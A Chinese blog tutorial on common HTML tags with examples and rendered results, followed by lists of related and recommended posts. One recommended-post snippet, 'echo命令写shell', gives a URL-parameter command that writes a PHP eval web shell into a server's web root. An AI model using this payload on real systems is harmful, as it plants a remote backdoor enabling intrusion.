body的属性:

bgcolor                页面背景色

background             背景壁纸、图片

text                     文字颜色

topmargin               上边距

leftmargin                左边距

rightmargin            右边距

bottommargin           下边距

格式控制标签:

<font color="" face="" size=""></font>

<font size="+4" color="#FF0000">字体格式控制标签:</font>

效果展示: 字体格式控制标签

分别控制字体的颜色、字体和大小。


<b></b>                字体加粗

<b>文字加粗方式1,b标签</b>

效果展示: 文字加粗方式1,b标签


<strong></strong>     字体加粗

<strong>文字加粗方式2,strong标签</strong>

效果展示: 文字加粗方式2,strong标签


<i></i>                    倾斜

<i>文字倾斜方式1,i标签</i>

效果展示: 文字倾斜方式1,i标签


<em></em>             倾斜

<em>文字倾斜方式2,em标签</em>

效果展示: 文字倾斜方式2,em标签


<u></u>                下划线

<u>文字加下划线,u标签</u>

效果展示: 文字加下划线,u标签


<center></center>      居中

<center>center 居中。前后若有其他执行前后换行。保证自身是一个整体,然后进行居中显示</center>

效果展示:

center 居中。前后若有其他执行前后换行。保证自身是一个整体,然后进行居中显示


<br>或<br/>            相当于回车

内容容器标签:

  <h1></h1>            标题,会自动换行。HTML标题是通过<h1>到<h6>等标签来定义的。

前后若有其他执行前后换行。并且空开一行根据所在区域的默认文字大小,来决定增加多少字号,减少多少字号

<h1>111111</h1>
<h2>222222</h2>
<h3>333333</h3>
<h4>444444</h4>
<h5>555555</h5>
<h6>666666</h6>

效果展示:

111111

222222

333333

444444

555555
666666

   <p></p>              段落标签(段落之间空行)

111<p>p标签,段落标签。默认,前后若有其他,执行前后换行,并且空开一行,保证自身是一个整体。</p>111

  效果展示:

111

p标签,段落标签。默认,前后若有其他,执行前后换行,并且空开一行,保证自身是一个整体。

111


  <div></div>           层标签(默认占用一行)

<div style="background-color:#0F0">div层标签,默认一上来就占用一整行</div>

  效果展示:

div层标签,默认一上来就占用一整行

  <span></span>       层标签(默认用掉多大空间占用多大空间)

<span style="background-color:#63C">span层标签,默认使用多少就占用多少</span>

  效果展示:span层标签,默认使用多少就占用多少


<ol type="1">        有序列表

    <li>内容<li>

    <li>内容<li>

</ol> 

<ol type="A">ol有序列表
<li>自带序号</li>
<li>自动换行</li>
<li>默认,前后若有其他,执行前后换行,并且空开一行,保证自身是一个整体</li>
</ol>

  效果展示:

    ol有序列表

  1. 自带序号
  2. 自动换行
  3. 默认,前后若有其他,执行前后换行,并且空开一行,保证自身是一个整体

 <ul type="1">        无序列表

    <li>内容<li>

    <li>内容<li>

</ul> 

<ul>ul无序列表
<li>不自带序号</li>
<li>自动换行</li>
<li>默认,前后若有其他,执行前后换行,并且空开一行,保证自身是一个整体</li>
</ul>

  效果展示:

    ul无序列表

  • 不自带序号
  • 自动换行
  • 默认,前后若有其他,执行前后换行,并且空开一行,保证自身是一个整体

 <a href="超链接地址">超链接的文字</a>        超链接标签

<a href="http://www.baidu.com" target="_blank">超链接标签 target="_blank"新窗口打开</a><br />
<a href="http://www.baidu.com" target="_parent">超链接标签 target="_parent"在当前页面打开</a><br />

  效果展示:超链接标签 target="_blank"新窗口打开
        超链接标签 target="_parent"在当前页面打开


 <img src="图片地址" alt="文字" width="" height="" />      图片标签

<img src="http://files.cnblogs.com/files/hqxc/001.ico" height="100" alt="这是啥" title="这是一张图" />

  效果展示:

2016年10月24日--HTML常用标签的更多相关文章

  1. 2016年10月24日 星期一 --出埃及记 Exodus 19:8

    2016年10月24日 星期一 --出埃及记 Exodus 19:8 The people all responded together, "We will do everything th ...

  2. 2016年10月13日 星期四 --出埃及记 Exodus 18:24

    2016年10月13日 星期四 --出埃及记 Exodus 18:24 Moses listened to his father-in-law and did everything he said.于 ...

  3. 2016年12月24日 星期六 --出埃及记 Exodus 21:19

    2016年12月24日 星期六 --出埃及记 Exodus 21:19 the one who struck the blow will not be held responsible if the ...

  4. 2016年11月24日 星期四 --出埃及记 Exodus 20:15

    2016年11月24日 星期四 --出埃及记 Exodus 20:15 "You shall not steal.不可偷盗.

  5. 2016年10月31日 星期一 --出埃及记 Exodus 19:16

    2016年10月31日 星期一 --出埃及记 Exodus 19:16 On the morning of the third day there was thunder and lightning, ...

  6. 2016年10月30日 星期日 --出埃及记 Exodus 19:15

    2016年10月30日 星期日 --出埃及记 Exodus 19:15 Then he said to the people, "Prepare yourselves for the thi ...

  7. 2016年10月29日 星期六 --出埃及记 Exodus 19:14

    2016年10月29日 星期六 --出埃及记 Exodus 19:14 After Moses had gone down the mountain to the people, he consecr ...

  8. 2016年10月28日 星期五 --出埃及记 Exodus 19:13

    2016年10月28日 星期五 --出埃及记 Exodus 19:13 He shall surely be stoned or shot with arrows; not a hand is to ...

  9. 2016年10月27日 星期四 --出埃及记 Exodus 19:12

    2016年10月27日 星期四 --出埃及记 Exodus 19:12 Put limits for the people around the mountain and tell them, `Be ...

随机推荐

  1. 数据库SQL语句学习--view

    1.新建一个view create view view_name as select * from table_name where... 2.删除一个view drop view view_name ...

  2. JSP简单标签开发

    一.继承自SimpleTag接口的自定义标签实现类称为简单标签,接口中5个方法 1.setJspContext方法 用于把JSP页面的PageContext对象传递给标签处理器对象 2.setPare ...

  3. sqlserver插入时发生在“xxx”处关键发生错误

    今天知道了一个小技巧,当你的数据库表名为user时会sqlserver的表发生冲突,所以因该将user这样用[user],ok 一切搞定 .

  4. jquery满屏滚动代码

    //获取显示器宽度 .高度 $screenW = document.body.clientWidth; $screenH = ; $BTimer = ; // 时间周期 $liSize = $(&qu ...

  5. 微型orm fluentdata

    http://fluentdata.codeplex.com/documentation#Query

  6. fork与vfork

    先看一个fork的例子: ; int main(void) { int var, pid; ; ) { printf("vfork error"); exit(-); } ) { ...

  7. dns泛解析漫谈

    比如说:http://www.aaa.com/ 指向10.10.1.1,ftp.aaa.com/ 指向10.10.2.2,如果这时候客户访问的是aaa.com或者error.aaa.com (这里er ...

  8. echo命令写shell

    http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php

  9. MVC 随记

    2014-09-04 [1] Json var contact = new Object(); contact.firstname = "Jesper"; contact.surn ...

  10. C语言中的参数传递

    有空看看: c语言 函数传输传递的三种方式(值.指针.引用) C语言之参数传递 C语言形参和实参,传值调用和引用调用的区别